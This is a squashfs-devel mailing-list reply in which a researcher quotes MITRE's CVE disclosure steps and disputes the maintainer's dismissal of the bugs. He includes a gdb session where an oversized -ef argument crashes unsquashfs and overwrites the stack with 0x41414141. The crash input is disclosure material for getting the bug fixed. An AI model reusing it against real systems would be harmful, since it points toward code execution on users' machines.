Re: [Squashfs-devel] Multiple vulnerabilities in squashfs!(CVE ID attached)

[sebas s. <suj...@gm...>]

Also, this is the reply I got from the CVE people:

CVE-2012-4024 and CVE-2012-4025 can be published on the CVE web site
only after there is a public disclosure on an external web site.
A typical process would work this way:

  1. You send your complete report to the Squashfs developer, using
     a contact e-mail address at the bottom of the
     http://squashfs.sourceforge.net/ web page. In this report,
     please be sure to mention that CVE-2012-4024 is for the buffer
     overflows and CVE-2012-4025 is for the integer overflow.

  2. Later, the developer produces a new version (such as 4.3) in which
     both CVE-2012-4024 and CVE-2012-4025 are fixed.

  3. The developer produces a changelog file, similar to the

http://hivelocity.dl.sourceforge.net/project/squashfs/squashfs/squashfs4.2/README
     file, with a statement such as "Fixed buffer overflows (CVE-2012-4024)
     and integer overflow (CVE-2012-4025), reported by Sebas Sujeen."

  4. After the fixed version exists, you send your complete report to
     a public forum such as the squashfs-devel list described on the
     http://sourceforge.net/mailarchive/forum.php?forum_name=squashfs-devel
     web page.

  5. Your squashfs-devel post will have a URL under
     http://sourceforge.net/mailarchive/forum.php -- you should send this
     URL to cve...@mi... to inform us about the public disclosure.
     The MITRE staff then creates entries on the CVE web site for
      CVE-2012-4024 and CVE-2012-4025.


This is the most typical process. In some cases, such as a case where the
developer is no longer working on the project, you might need to skip
to step 4 before a fixed version exists.


Like you said, " These bugs at worst merely cause the process to crash,
with no effect on security." This is not at all true, the bugs can lead to
code execution.

(gdb) r lolcat.squashfs -ef /$(perl -e 'print "A" x 2000')/
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/sbin/unsquashfs lolcat.squashfs -ef /$(perl -e
'print "A" x 2000')/
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x008456d4 in getenv () from /lib/libc.so.6
(gdb) bt
#0  0x008456d4 in getenv () from /lib/libc.so.6
#1  0x008802ee in __libc_message () from /lib/libc.so.6
#2  0x0090f16d in __fortify_fail () from /lib/libc.so.6
#3  0x0090f11a in __stack_chk_fail () from /lib/libc.so.6
#4  0x0804ae40 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()
#22 0x41414141 in ?? ()

Triggering this needs some user interaction, but just dismissing the bug as
minor is something which I can never really understand.You quoted "Normally
most people who adhere to the ethos of Open Source recognise that bugs
occur despite the best intentions of the authors." Then why are you
dismissing the bug as minor when it ain't minor and all it requires is some
user interaction to make it a code exec bug. There are reflective XSS bugs
being assigned a CVE-ID. The reason I sent a mail to CVE is because I never
got a reply from you (I sent you three mails remember ) even after posting
a detailed analysis of the bug and a friend suggested CVE to me.

-Sujeen